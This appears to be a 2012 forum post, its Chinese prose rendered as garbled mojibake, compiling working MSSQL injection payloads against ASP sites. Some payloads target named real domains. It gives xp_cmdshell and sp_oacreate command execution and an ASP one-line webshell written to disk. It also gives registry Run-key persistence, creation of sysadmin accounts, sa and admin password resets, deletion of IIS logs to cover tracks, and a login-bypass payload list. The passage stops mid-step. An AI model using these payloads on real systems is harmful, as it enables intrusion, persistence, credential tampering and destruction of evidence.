admin ·¢±íÓÚ 2012-9-15 14:00:44

Mssql injection code

                                                                           £¨1£©                                                                           
ÅжÏÊý¾Ý¿âÀàÐÍ:                                                                                 

Access:

aNd aSc(cHr(97))=97
and exists(select id from MSysAccessObjects)


SQL Server:
and exists(select id from sysobjects)


MySQL:
and length(user())>0                                                
                                                                                 
                                                                                 
ËÑË÷À¸ÀïÊäÈë
¹Ø¼ü×Ö%'and 1=1 and '%'='
¹Ø¼ü×Ö%'and 1=2 and '%'='
±È½Ï²»Í¬´¦ ¿ÉÒÔ×÷ΪעÈëµÄÌØÕ÷×Ö·û

1¡¢    ÓÃ^תÒå×Ö·ûÀ´Ð´ASP(Ò»¾ä»°Ä¾Âí)ÎļþµÄ·½·¨:

   http://192.168.1.5/display.asp?keyno=1881;exec master.dbo.xp_cmdshell 'echo ^<script language=VBScript runat=server^>execute request^("l"^)^</script^> >c:\mu.asp';--

   echo ^<%execute^(request^("l"^)^)%^> >c:\mu.asp

    ÏÔʾSQLϵͳ°æ±¾£º
http://192.168.1.5/display.asp?keyno=188 and 1=(select @@VERSION)

http://www.xxxx.com/FullStory.asp?id=1 and 1=convert(int,@@version)--

Microsoft VBScript ±àÒëÆ÷´íÎó ´íÎó '800a03f6'
ȱÉÙ 'End'
/iisHelp/common/500-100.asp£¬ÐÐ242
Microsoft OLE DB Provider for ODBC Drivers ´íÎó '80040e07'
Syntax error converting the nvarchar value 'Microsoft SQL Server 2000 - 8.00.760 (Intel X86) Dec 17 2002 14:22:05 Copyright (c) 1988-2003 Microsoft Corporation Desktop Engine on Windows NT 5.0 (Build 2195: Service Pack 4) ' to a column of data type int.
/display.asp£¬ÐÐ17
3¡¢    ÔÚ¼ì²âË÷ÄáÖйúµÄÍøÕ¾Â©¶´Ê±£¬·ÖÃ÷ÒѾ­È·¶¨ÁË©¶´´æÔÚÈ´ÎÞ·¨ÔÚÕâÈýÖÖ©¶´ÖÐÕÒµ½¶ÔÓ¦µÄÀàÐÍ¡£Å¼È»¼äÎÒÏëµ½ÁËÔÚSQLÓïÑÔÖпÉÒÔʹÓá°in¡±¹Ø¼ü×Ö½øÐвéѯ£¬ÀýÈç¡°select * from mytable where id in(1)¡±£¬À¨ºÅÖеÄÖµ¾ÍÊÇÎÒÃÇÌá½»µÄÊý¾Ý£¬ËüµÄ½á¹ûÓëʹÓá°select * from mytable where id=1¡±µÄ²éѯ½á¹ûÍêÈ«Ïàͬ¡£ËùÒÔ·ÃÎÊÒ³ÃæµÄʱºòÔÚURLºóÃæ¼ÓÉÏ¡°) and 1=1 and 1 in(1¡±ºóÔ­À´µÄSQLÓï¾ä¾Í±ä³ÉÁË¡°select * from mytable where id in(1) and 1=1 and 1 in(1)¡±£¬ÕâÑù¾Í»á³öÏÖÆÚ´ýÒѾõÄÒ³ÃæÁË¡£ÔÝÇҾͽÐÕâÖÖÀàÐ͵Ä©¶´Îª¡°°üº¬Êý×ÖÐÍ¡±°É£¬´ÏÃ÷µÄÄãÒ»¶¨Ïëµ½ÁË»¹ÓС°°üº¬×Ö·ûÐÍ¡±ÄØ¡£¶ÔÁË£¬Ëü¾ÍÊÇÓÉÓÚÀàËÆ¡°select * from mytable where name in('firstsee')¡±µÄ²éѯÓï¾äÔì³ÉµÄ¡£

4¡¢    ÅжÏxp_cmdshellÀ©Õ¹´æ´¢¹ý³ÌÊÇ·ñ´æÔÚ£º
http://192.168.1.5/display.asp?keyno=188 and 1=(select count(*) FROM master.dbo.sysobjects where xtype = 'X' AND name = 'xp_cmdshell')
»Ö¸´xp_cmdshellÀ©Õ¹´æ´¢µÄÃüÁ
http://www.test.com/news/show1.asp?NewsId=125272
;exec master.dbo.sp_addextendedproc 'xp_cmdshell','e:\inetput\web\xplog70.dll';--

5¡¢    ÏòÆô¶¯×éÖÐдÈëÃüÁîÐкÍÖ´ÐгÌÐò£º
http://192.168.1.5/display.asp?keyno=188;EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run','help1','REG_SZ','cmd.exe /c net user test ptlove /add'


6¡¢    ²é¿´µ±Ç°µÄÊý¾Ý¿âÃû³Æ£º
?   http://192.168.1.5/display.asp?keyno=188 and 0<>db_name(n) n¸Ä³É0,1,2,3¡­¡­¾Í¿ÉÒÔ¿ç¿âÁË
?   http://www.xxxx.com/FullStory.asp?id=1 and 1=convert(int,db_name())--
Microsoft VBScript ±àÒëÆ÷´íÎó ´íÎó '800a03f6'
ȱÉÙ 'End'
/iisHelp/common/500-100.asp£¬ÐÐ242
Microsoft OLE DB Provider for ODBC Drivers ´íÎó '80040e07'
Syntax error converting the nvarchar value 'huidahouse' to a column of data type int.
/display.asp£¬ÐÐ17
7¡¢    Áгöµ±Ç°ËùÓеÄÊý¾Ý¿âÃû³Æ£º
select * from master.dbo.sysdatabases    ÁгöËùÓÐÁеļǼ
select name from master.dbo.sysdatabases ½öÁгönameÁеļǼ

8¡¢    ²»Ðèxp_cmdshellÖ§³ÖÔÚÓÐ×¢Èë©¶´µÄSQL·þÎñÆ÷ÉÏÔËÐÐCMDÃüÁ
create TABLE mytmp(info VARCHAR(400),ID int IDENTITY(1,1) NOT NULL)
DECLARE @shell INT
DECLARE @fso INT
DECLARE @file INT
DECLARE @isEnd BIT
DECLARE @out VARCHAR(400)
EXEC sp_oacreate 'wscript.shell',@shell output
EXEC sp_oamethod @shell,'run',null,'cmd.exe /c dir c:\>c:\temp.txt','0','true'
--×¢ÒârunµÄ²ÎÊýtrueÖ¸µÄÊǽ«µÈ´ý³ÌÐòÔËÐеĽá¹û£¬¶ÔÓÚÀàËÆpingµÄ³¤Ê±¼äÃüÁî±ØÐèʹÓô˲ÎÊý¡£

EXEC sp_oacreate 'scripting.filesystemobject',@fso output
EXEC sp_oamethod @fso,'opentextfile',@file out,'c:\temp.txt'
--ÒòΪfsoµÄopentextfile·½·¨½«·µ»ØÒ»¸ötextstream¶ÔÏó£¬ËùÒÔ´Ëʱ@fileÊÇÒ»¸ö¶ÔÏóÁîÅÆ

WHILE @shell>0
BEGIN
EXEC sp_oamethod @file,'Readline',@out out
insert INTO MYTMP(info) VALUES (@out)
EXEC sp_oagetproperty @file,'AtEndOfStream',@isEnd out
IF @isEnd=1 BREAK
ELSE CONTINUE
END

drop TABLE MYTMP

----------
DECLARE @shell INT
DECLARE @fso INT
DECLARE @file INT
DECLARE @isEnd BIT
DECLARE @out VARCHAR(400)
EXEC sp_oacreate 'wscript.shell',@shell output
EXEC sp_oamethod @shell,'run',null,'cmd.exe /c cscript C:\Inetpub\AdminScripts\adsutil.vbs set /W3SVC/InProcessIsapiApps "C:\WINNT\system32\idq.dll" "C:\WINNT\system32\inetsrv\httpext.dll" "C:\WINNT\system32\inetsrv\httpodbc.dll" "C:\WINNT\system32\inetsrv\ssinc.dll" "C:\WINNT\system32\msw3prt.dll" "C:\winnt\system32\inetsrv\asp.dll">c:\temp.txt','0','true'
EXEC sp_oacreate 'scripting.filesystemobject',@fso output
EXEC sp_oamethod @fso,'opentextfile',@file out,'c:\temp.txt'
WHILE @shell>0
BEGIN
EXEC sp_oamethod @file,'Readline',@out out
insert INTO MYTMP(info) VALUES (@out)
EXEC sp_oagetproperty @file,'AtEndOfStream',@isEnd out
IF @isEnd=1 BREAK
ELSE CONTINUE
END

ÒÔÏÂÊÇÒ»ÐÐÀïÃæ½«WEBÓû§¼Óµ½¹ÜÀíÔ±×éÖУº
DECLARE @shell INT DECLARE @fso INT DECLARE @file INT DECLARE @isEnd BIT DECLARE @out VARCHAR(400) EXEC sp_oacreate 'wscript.shell',@shell output EXEC sp_oamethod @shell,'run',null,'cmd.exe /c cscript C:\Inetpub\AdminScripts\adsutil.vbs set /W3SVC/InProcessIsapiApps "C:\WINNT\system32\idq.dll" "C:\WINNT\system32\inetsrv\httpext.dll" "C:\WINNT\system32\inetsrv\httpodbc.dll" "C:\WINNT\system32\inetsrv\ssinc.dll" "C:\WINNT\system32\msw3prt.dll" "C:\winnt\system32\inetsrv\asp.dll">c:\temp.txt','0','true' EXEC sp_oacreate 'scripting.filesystemobject',@fso output EXEC sp_oamethod @fso,'opentextfile',@file out,'c:\temp.txt' WHILE @shell>0 BEGIN EXEC sp_oamethod @file,'Readline',@out out insert INTO MYTMP(info) VALUES (@out) EXEC sp_oagetproperty @file,'AtEndOfStream',@isEnd out IF @isEnd=1 BREAK ELSE CONTINUE END

ÒÔÏÂÊÇÒ»ÐÐÖÐÖ´ÐÐEXE³ÌÐò£º
DECLARE @shell INT DECLARE @fso INT DECLARE @file INT DECLARE @isEnd BIT DECLARE @out VARCHAR(400) EXEC sp_oacreate 'wscript.shell',@shell output EXEC sp_oamethod @shell,'run',null,'cmd.exe /c cscript.exe E:\bjeea.net.cn\score\fts\images\iis.vbs lh1 c:\>c:\temp.txt','0','true' EXEC sp_oacreate 'scripting.filesystemobject',@fso output EXEC sp_oamethod @fso,'opentextfile',@file out,'c:\temp.txt' WHILE @shell>0 BEGIN EXEC sp_oamethod @file,'Readline',@out out insert INTO MYTMP(info) VALUES (@out) EXEC sp_oagetproperty @file,'AtEndOfStream',@isEnd out IF @isEnd=1 BREAK ELSE CONTINUE END

SQLÏÂÈýÖÖÖ´ÐÐCMDÃüÁîµÄ·½·¨£º

ÏÈɾ³ý7.18ºÅÈÕÖ¾£º
(1)exec master.dbo.xp_cmdshell 'del C:\winnt\system32\logfiles\W3SVC5\ex050718.log >c:\temp.txt'

(2)DECLARE @shell INT DECLARE @fso INT DECLARE @file INT DECLARE @isEnd BIT DECLARE @out VARCHAR(400) EXEC sp_oacreate 'wscript.shell',@shell output EXEC sp_oamethod @shell,'run',null,'cmd.exe /c del C:\winnt\system32\logfiles\W3SVC5\ex050718.log >c:\temp.txt','0','true' EXEC sp_oacreate 'scripting.filesystemobject',@fso output EXEC sp_oamethod @fso,'opentextfile',@file out,'c:\temp.txt' WHILE @shell>0 BEGIN EXEC sp_oamethod @file,'Readline',@out out insert INTO MYTMP(info) VALUES (@out) EXEC sp_oagetproperty @file,'AtEndOfStream',@isEnd out IF @isEnd=1 BREAK ELSE CONTINUE END

£¨3£©Ê×ÏÈ¿ªÆôjetɳÅÌģʽ£¬Í¨¹ýÀ©Õ¹´æ´¢¹ý³Ìxp_regwriteÐÞ¸Ä×¢²á±íʵÏÖ£¬¹ÜÀíÔ±ÐÞ¸Ä×¢²á±í²»ÄÜÔ¤·ÀµÄÔ­Òò¡£³öÓÚ°²È«Ô­Òò£¬Ä¬ÈÏɳÅÌģʽ먦Æô£¬Õâ¾ÍÊÇΪʲôÐèÒªxp_regwriteµÄÔ­Òò£¬¶øxp_regwriteÖÁÉÙÐèÒªDB_OWNERȨÏÞ£¬ÎªÁË·½±ã£¬ÕâÀィÒéʹÓÃsysadmin ȨÏÞ²âÊÔ£º
?    exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1
×¢£º
0    ½ûÖ¹Ò»ÇУ¨Ä¬ÈÏ£©
1    ʹÄÜ·ÃÎÊACCESS£¬µ«ÊǽûÖ¹ÆäËü
2    ½ûÖ¹·ÃÎÊACCESS£¬µ«ÊÇʹÄÜÆäËû
3    ʹÄÜÒ»ÇÐ

?    ÕâÀï½ö¸ø³ösysadminȨÏÞÏÂʹÓõÄÃüÁ
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")')


?    ½¨Á¢Á´½ÓÊý¾Ý¿â'L0op8ack'²Î¿¼ÃüÁ
EXEC sp_addlinkedserver 'L0op8ack','OLE DB Provider for Jet','Microsoft.Jet.OLEDB.4.0','c:\windows\system32\ias\ias.mdb'

?    ÈçºÎʹÓÃÁ´½ÓÊý¾Ý¿â£º

ʹÓÃÕâ¸ö·½Ê½¿ÉÒÔÖ´ÐУ¬µ«ÊǺܲ»ÐÒ£¬DB_OWNERȨÏÞÊDz»¹»µÄ£¬ÐèÒªÖÁÉÙsysadminȨÏÞ»òÕßsecurityadmin+setupadminȨÏÞ×éºÏ
sp_addlinkedserverÐèÒªsysadmin»òsetupadminȨÏÞ
sp_addlinkedsrvloginÐèÒªsysadmin»òsecurityadminȨÏÞ
×îÖÕ·¢ÏÖ£¬»¹ÊÇsaȨÏÞ»òÕßsetupadmin+securityadminȨÏÞÕÊ»§²ÅÄÜʹÓã¬
Ò»°ãûÓÐÄĸö¹ÜÀíÔ±ÕâôÉèÖÃÆÕͨÕÊ»§È¨ÏÞµÄ

ʵÓÃÐÔ²»Ç¿£¬½ö×÷Ϊһ¸öѧϰ×ܽá°É

´óÖ¹ý³ÌÈçÏ£¬Èç¹û²»ÊÇsysadmin£¬ÄÇôIAS.mdbȨÏÞÑéÖ¤»á³ö´í£¬
ÎÒ²âÊÔµÄʱºòÊÚÓèhackerÕâ¸öÓû§setupadmin+securityadminȨÏÞ£¬Ê¹ÓÃias.mdbʧ°Ü
ÐèÒªÕÒÒ»¸öÒ»°ãÓû§¿É·ÃÎʵÄmdb²Å¿ÉÒÔ£º

?    н¨Á´½Ó·þÎñÆ÷¡±L0op8ack¡±:EXEC sp_addlinkedserver 'L0op8ack','JetOLEDB','Microsoft.Jet.OLEDB.4.0','c:\winnt\system32\ias\ias.mdb';--
?    exec sp_addlinkedsrvlogin 'L0op8ack','false';--»ò
exec sp_addlinkedsrvlogin 'L0op8ack', 'false', NULL, 'test1', 'ptlove';--
?    select * FROM OPENQUERY(L0op8ack, 'select shell("cmd.exe /c net user")');--
?    exec sp_droplinkedsrvlogin 'L0op8ack','false';--
?    exec sp_dropserver 'L0op8ack';--

ÔÙ¿¼±´Ò»¸öÆäËüÎļþÀ´´úÌæ7.18ÈÕÎļþ£º
(1)exec master.dbo.xp_cmdshell 'copy C:\winnt\system32\logfiles\W3SVC5\ex050716.log C:\winnt\system32\logfiles\W3SVC5\ex050718.log>c:\temp.txt'

(2)DECLARE @shell INT DECLARE @fso INT DECLARE @file INT DECLARE @isEnd BIT DECLARE @out VARCHAR(400) EXEC sp_oacreate 'wscript.shell',@shell output EXEC sp_oamethod @shell,'run',null,'cmd.exe /c copy C:\winnt\system32\logfiles\W3SVC5\ex050716.log C:\winnt\system32\logfiles\W3SVC5\ex050718.log>c:\temp.txt','0','true' EXEC sp_oacreate 'scripting.filesystemobject',@fso output EXEC sp_oamethod @fso,'opentextfile',@file out,'c:\temp.txt' WHILE @shell>0 BEGIN EXEC sp_oamethod @file,'Readline',@out out insert INTO MYTMP(info) VALUES (@out) EXEC sp_oagetproperty @file,'AtEndOfStream',@isEnd out IF @isEnd=1 BREAK ELSE CONTINUE END

(3)DECLARE @shell INT DECLARE @fso INT DECLARE @file INT DECLARE @isEnd BIT DECLARE @out VARCHAR(400) EXEC sp_oacreate 'wscript.shell',@shell output EXEC sp_oamethod @shell,'run',null,'cmd.exe /c net user>c:\temp.txt','0','true' EXEC sp_oacreate 'scripting.filesystemobject',@fso output EXEC sp_oamethod @fso,'opentextfile',@file out,'c:\temp.txt' WHILE @shell>0 BEGIN EXEC sp_oamethod @file,'Readline',@out out insert INTO MYTMP(info) VALUES (@out) EXEC sp_oagetproperty @file,'AtEndOfStream',@isEnd out IF @isEnd=1 BREAK ELSE CONTINUE END

9¡¢    ÓÃupdateÀ´¸üбíÖеÄÊý¾Ý£º
HTTP://xxx.xxx.xxx/abc.asp?p=YY;update upload.dbo.admin set pwd='a0b923820dcc509a' where username='www';--
wwwÓû§ÃÜÂëµÄ16λMD5ֵΪ£ºa0b923820dcc509a£¬¼´°ÑÃÜÂë¸Ä³É1£»
32λMD5ֵΪ£º    £¬ÃÜÂëΪ

10¡¢    ÀûÓñíÄÚÈݵ¼³ÉÎļþ¹¦ÄÜ
SQLÓÐBCPÃüÁËü¿ÉÒ԰ѱíµÄÄÚÈݵ¼³ÉÎı¾Îļþ²¢·Åµ½Ö¸¶¨Î»Öá£ÀûÓÃÕâÏÄÜ£¬ÎÒÃÇ¿ÉÒÔÏȽ¨Ò»ÕÅÁÙʱ±í£¬È»ºóÔÚ±íÖÐÒ»ÐÐÒ»ÐеØÊäÈëÒ»¸öASPľÂí£¬È»ºóÓÃBCPÃüÁîµ¼³öÐγÉASPÎļþ¡£
ÃüÁîÐиñʽÈçÏ£º
bcp "select * from temp " queryout c:\inetpub\wwwroot\runcommand.asp ¨Cc ¨CS localhost ¨CU sa ¨CP upload('S'²ÎÊýΪִÐвéѯµÄ·þÎñÆ÷£¬'U'²ÎÊýΪÓû§Ãû£¬'P'²ÎÊýΪÃÜÂ룬×îÖÕÉÏ´«ÁËÒ»¸öruncommand.aspµÄľÂí)¡£

11¡¢´´½¨±í¡¢²¥ÈëÊý¾ÝºÍ¶ÁÈ¡Êý¾ÝµÄ·½·¨
?    ´´½¨±í£º
' and 1=1 union select 1,2,3,4;create table .((255))--
?    Íù±íÀï²¥ÈëÊý¾Ý£º
' and 1=1 union select 1,2,3,4;DECLARE @result varchar(255) select top 1 name from upload.dbo.sysobjects where xtype='U' and status>0,@result output insert into cyfd (gyfd) values(@result);--
' and 1=1 union select 1,2,3,4;DECLARE @result varchar(255) exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\CONTROLSet001\Services\W3SVC\Parameters\Virtual Roots', '/' ,@result output insert into cyfd (gyfd) values(@result);--
?    ´Ó±íÀï¶ÁÈ¡Êý¾Ý£º
' and 1=(select count(*) from cyfd where gyfd >1)--

?    ɾ³ýÁÙʱ±í£º
';drop table cyfd;--

12¡¢Í¨¹ýSQLÓï¾äÖ±½Ó¸ü¸ÄsaµÄÃÜÂ룺
?    update master.dbo.sysxlogins set password=0x0100AB01431E944AA50CBB30267F53B9451B7189CA67AF19A1FC944AA50CBB30267F53B9451B7189CA67AF19A1FC where sid=0x01,ÕâÑùsaµÄÃÜÂë¾Í±»ÎÒÃǸijÉÁË111111À­¡£ºÇºÇ£¬½â¾öµÄ·½·¨¾ÍÊǰÑsa¸øÉ¾À­¡££¬Ôõôɾ¿ÉÒԲο¼Îҵġ¶Íêȫɾ³ýsaÕâ¸öºóÃÅ¡·¡£

?    ²é¿´±¾»úËùÓеÄÊý¾Ý¿âÓû§Ãû£º
select * from master.dbo.sysxlogins
select name,sid,password ,dbid from master.dbo.sysxlogins

?    ¸ü¸Äsa¿ÚÁî·½·¨£ºÓÃsql×ÛºÏÀûÓù¤¾ßÁ¬½Óºó£¬Ö´ÐÐÃüÁ
exec sp_password NULL,'ÐÂÃÜÂë','sa'

13¡¢²éѯdvbbs¿âÖÐËùÓеıíÃûºÍ±í½á¹¹£º
?    select * from dvbbs.dbo.sysobjects where xtype='U' and status>0
?    select * from dvbbs.dbo.syscolumns where id=1426104121

14¡¢ÊÖ¹¤±¸·Ýµ±Ç°Êý¾Ý¿â£º
ÍêÈ«±¸·Ý£º
;declare @a sysname,@s nvarchar(4000)
select @a=db_name(),@s='c:/db1' backup database @a to disk=@s WITH formAT--
²îÒ챸·Ý£º
;declare @a sysname,@s nvarchar(4000)
select @a=db_name(),@s='c:/db1' backup database @a to disk=@s WITH DIFFERENTIAL,formAT¡ª

15¡¢Ìí¼ÓºÍɾ³ýÒ»¸öSAȨÏÞµÄÓû§test£º
exec master.dbo.sp_addlogin test,ptlove
exec master.dbo.sp_addsrvrolemember test,sysadmin

cmd.exe /c isql -E /U alma /P /i K:\test.qry

16¡¢select * from ChouYFD.dbo.sysobjects where xtype='U' and status>0
¾Í¿ÉÒÔÁгö¿âChouYFDÖÐËùÓеÄÓû§½¨Á¢µÄ±íÃû¡£
select name,id from ChouYFD.dbo.sysobjects where xtype='U' and status>0

17¡¢
?   http://www.npc.gov.cn/zgrdw/common/image_view.jsp?sqlstr=select * from rdweb.dbo.syscolumns £¨where id=1234£©
Áгördweb¿âÖÐËùÓбíÖеÄ×Ö¶ÎÃû³Æ
?    select * from dvbbs.dbo.syscolumns where id=5575058
Áгö¿âdvbbsÖбíid=5575058µÄËùÓÐ×Ö¶ÎÃû

18¡¢É¾³ý¼Ç¼ÃüÁdelete from Dv_topic where boardid=5 and topicid=7978

19¡¢ÈƹýµÇ¼ÑéÖ¤½øÈëºǫ́µÄ·½·¨ÕûÀí£º
1) ' or''='
2) ' or 1=1--
3) ' or 'a'='a--
4) 'or'='or'
5) " or 1=1--
6£©or 1=1--
7£© or 'a='a
8£©" or "a"="a
9£© ') or ('a'='a
10£© ") or ("a"="a
11£© £© or (1=1
12) 'or''='
13) ÈËÆø%' and 1=1 and '%'='

20¡¢Ñ°ÕÒÍøÕ¾Â·¾¶µÄ·½·¨»ã×Ü£º
1£©²é¿´WEBÍøÕ¾°²×°Ä¿Â¼ÃüÁ
?    cscript c:\inetpub\adminscripts\adsutil.vbs enum w3svc/2/root >c:\test1.txt £¨½«2»»³É1¡¢3¡¢4¡¢5ÊÔÊÔ£©
type c:\test1.txt
del c:\test1.txt
ÔÚNBSIÏ¿ÉÒÔÖ±½ÓÏÔʾÔËÐнá¹û£¬ËùÒÔ²»Óõ¼³öµ½Îļþ

2£©ÔÚÍøÕ¾ÉÏËæ±ãÕÒµ½Ò»¸öͼƬµÄÃû×Ö 123.jpg
È»ºóд½øÅú´¦Àí³ÌÐò123.bat:
d:
dir 123.jpg /s >c:\123.txt
e:
dir 123.jpg /s >>c:\123.txt
f:
dir 123.jpg /s >>c:\123.txt

Ö´Ðкó type c:\123.txt
ÕâÑùÀ´·ÖÎöÍøÕ¾µÄ·¾¶

3£©SQL·þÎñÆ÷ºÍÍøÕ¾·þÎñÆ÷ÔÚͬһ¸ö·þÎñÆ÷ÉÏ£¬ºÃÁËÊÇ¿ÉÒÔÖ´ÐÐÃüÁîÊǰɣ¿
½«Ö´ÐÐÃüÁîÊä³ö½á¹ûµ½
%windir%\help\iishelp\common\404b.htm»òÕß500.asp
×¢ÒâÊä³öǰBackupÕâÁ½¸öÎļþ
È磺
dir c:\ >%windir%\help\iishelp\common\404b.htm
È»ºóËæ±ãÊäÈëÒ»¸öÎļþÀ´·ÃÎÊ£ºhttp://Ä¿±êip/2.asp

4£©Õë¶Ôwin2000ϵͳ£ºxp_regread¶ÁÈ¡HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots »ñÈ¡WEB·¾¶
2003ϵͳ£ºxp_regread¶ÁÈ¡£¬Î´ÕÒµ½·½·¨
È磺
£¨1£©    н¨Ò»¸ö±ícyfd(×Ö¶ÎΪgyfd)£ºhttp://www.cnwill.com/NewsShow.aspx?id=4844;create table .((255))--
£¨2£©    °Ñweb·¾¶Ð´½øÈ¥:http://www.cnwill.com/NewsShow.aspx?id=4844;DECLARE @result varchar(255) exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\CONTROLSet001\Services\W3SVC\Parameters\Virtual Roots', '/' ,@result output insert into cyfd (gyfd) values(@result);--
£¨3£©    »¹ÊÇÈÃËû²»Æ¥Å䣬ÏÔʾ´íÎó:http://www.cnwill.com/NewsShow.aspx?id=4844 and 1=(select count(*) from cyfd where gyfd >1)
Source: .Net SqlClient Data Provider
Description: ½« varchar Öµ 'Y:\Web\ÑĮ̀È˲ÅÈÈÏߺǫ́¹ÜÀíϵͳ,,201 ' ת»»ÎªÊý¾ÝÀàÐÍΪ int µÄÁÐʱ·¢ÉúÓï·¨´íÎó¡£
TargeSite: Boolean Read() ¹þ¹þ¹þ¡£¡£Â·¾¶±©Â¶ÁË¡£¡£
£¨4£©½ÓÏÂÀ´É¾³ý±í:http://www.cnwill.com/NewsShow.aspx?id=4844;drop table cyfd;--

5£©ÓÃregeditÃüÁîµ¼³ö×¢²á±í£¬½«µ¼³öµÄ½á¹û±£´æµÄ·¾¶µ½%windir%\help\iishelp\common\404b.htm»òÕß500.aspÒ³Ãæ
regeditÃüÁî˵Ã÷£º
Regedit /L:system /R:user /E filename.reg Regpath
²ÎÊýº¬Ò壺
/L£ºsystemÖ¸¶¨System.datÎļþËùÔڵķ¾¶¡£
/R£ºuserÖ¸¶¨User.datÎļþËùÔڵķ¾¶¡£
/E£º´Ë²ÎÊýÖ¸¶¨×¢²á±í±à¼­Æ÷Òª½øÐе¼³ö×¢²á±í²Ù×÷£¬Ôڴ˲ÎÊýºóÃæ¿ÕÒ»¸ñ£¬ÊäÈëµ¼³ö×¢²á±íµÄÎļþÃû¡£
Regpath£ºÓÃÀ´Ö¸¶¨Òªµ¼³öÄĸö×¢²á±íµÄ·ÖÖ§£¬Èç¹û²»Ö¸¶¨£¬Ôò½«µ¼³öÈ«²¿×¢²á±í·ÖÖ§¡£ÔÚÕâЩ²ÎÊýÖУ¬"/L£ºsystem"ºÍ"/R£ºuser"²ÎÊýÊÇ¿ÉÑ¡ÏÈç¹û²»Ê¹ÓÃÕâÁ½¸ö²ÎÊý£¬×¢²á±í±à¼­Æ÷ÔòÈÏΪÊǶÔWINDOWSĿ¼ÏµÄ"system.dat"ºÍ"user.dat"Îļþ½øÐвÙ×÷¡£Èç¹ûÊÇͨ¹ý´ÓÈíÅÌÆô¶¯²¢½øÈëDOS£¬ÄÇô¾Í±ØÐëʹÓÃ"/L"ºÍ"/R"²ÎÊýÀ´Ö¸¶¨"system.dat"ºÍ"user.dat"ÎļþµÄ¾ßÌå·¾¶£¬·ñÔò×¢²á±í±à¼­Æ÷½«ÎÞ·¨ÕÒµ½ËüÃÇ¡£±ÈÈç˵£¬Èç¹ûͨ¹ýÆô¶¯Å̽øÈëDOS£¬Ôò±¸·Ý×¢²á±íµÄÃüÁîÊÇ"Regedit /L:C:\windows\/R:C:\windows\/e regedit.reg",¸ÃÃüÁîµÄÒâ˼ÊǰÑÕû¸ö×¢²á±í±¸·Ýµ½WINDOWSĿ¼Ï£¬ÆäÎļþÃûΪ"regedit.reg"¡£¶øÈç¹ûÊäÈëµÄÊÇ"regedit /E D:\regedit.reg"ÕâÌõÃüÁÔòÊÇ˵°ÑÕû¸ö×¢²á±í±¸·Ýµ½DÅ̵ĸùĿ¼Ï£¨Ê¡ÂÔÁË"/L"ºÍ"/R"²ÎÊý£©£¬ÆäÎļþÃûΪ"Regedit.reg"¡£

regedit /s c:\adam.reg £¨µ¼Èëc:\adam.regÎļþÖÁ×¢²á±í£©
regedit /e c:\web.reg £¨±¸·ÝÈ«²¿×¢²áÄÚÈݵ½c:\web.regÖУ©
Õë¶Ôwin2000ϵͳ£ºC:\>regedit /e %windir%\help\iishelp\common\404b.htm "HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots"
È»ºóhttp://Ä¿±êIP/2.asp
Õë¶Ôwin2003ϵͳ£ºÃ»ÓÐÕÒµ½£¬Ï£ÍûÕÒµ½µÄÅóÓѹ«²¼³öÀ´Ò»ÆðÌÖÂÛ¡£

6£©ÐéÄâÖ÷»úÏÂ%SystemRoot%\system32\inetsrv\MetaBack\ϵÄÎļþÊÇiisµÄ±¸·ÝÎļþ£¬ÊÇÔÊÐíwebÓû§·ÃÎʵģ¬Èç¹ûÄãµÄiis±¸·Ýµ½ÕâÀÓÃwebshellÏÂÔØÏÂÀ´ºóÓüÇʱ¾´ò¿ª£¬¿ÉÒÔ»ñÈ¡¶ÔÓ¦µÄÓòÃûºÍweb¾ø¶Ô·¾¶¡£

7£©SQL×¢È뽨Á¢ÐéÄâĿ¼£¬ÓÐdboȨÏÞÏÂÕÒ²»µ½web¾ø¶Ô·¾¶µÄÒ»ÖÖ½â¾ö°ì·¨£º
ÎÒÃǺܶàÇé¿ö϶¼Óöµ½SQL×¢Èë¿ÉÒÔÁÐĿ¼ºÍÔËÐÐÃüÁµ«ÊÇÈ´ºÜ²»ÈÝÒ×ÕÒµ½webËùÔÚĿ¼£¬Ò²¾Í²»ºÃµÃµ½Ò»¸öwebshell£¬ÕâÒ»Õв»´í£º
?    ½¨Á¢ÐéÄâĿ¼win,Ö¸Ïòc:\winnt\system32£ºexec master.dbo.xp_cmdshell 'cscript C:\inetpub\AdminScripts\mkwebdir.vbs -c localhost -w "l" -v "win","c:\winnt\system32"'
?    ÈÃwinĿ¼¾ßÓнâÎöasp½Å±¾È¨ÏÞ£ºexec master.dbo.xp_cmdshell 'cscript C:\inetpub\AdminScripts\adsutil.vbs set w3svc/1/root/win/Accessexecute "true" ¨Cs:'
?    ɾ³ýÐéÄâĿ¼win£ºexec master.dbo.xp_cmdshell 'cscript C:\inetpub\AdminScripts\adsutil.vbs delete w3svc/1/root/win/'
?    ²âÊÔ£ºhttp://127.0.0.1/win/test.asp
8£©ÀûÓÃSQLÓï¾äÀ´²éÕÒWEBĿ¼£º¸ù¾Ý¾­Ñ飬²ÂÒÉWEB¸ùĿ¼µÄ˳ÐòÊÇ£ºdÅÌ¡¢eÅÌ¡¢cÅÌ£¬Ê×ÏÈÎÒÃǽ¨Á¢Ò»¸öÁÙʱ±íÓÃÓÚ´æ·Åmaster..xp_dirtree(ÊʺÏÓÚpublic)Éú³ÉµÄĿ¼Ê÷,ÓÃÒÔÏÂÓï¾ä£º
;create table temp(dir nvarchar(255),depth varchar(255));--,¸Ã±íµÄdir×ֶαíʾĿ¼µÄÃû³Æ£¬depth×ֶαíʾĿ¼µÄÉî¶È¡£È»ºóÖ´ÐÐxp_dirtree»ñµÃDÅ̵ÄĿ¼Ê÷£¬Óï¾äÈçÏ£º
;insert temp(dir,depth) exec master.dbo.xp_dirtree 'd:';--

ÔÚ½øÐÐÏÂÃæµÄ²Ù×÷ǰ£¬ÏȲ鿴DÅÌÓм¸¸öÎļþ¼Ð£¬ÕâÑù¶ÔDÅÌÓиö´óÖµÄÁ˽⣬Óï¾äÈçÏ£º
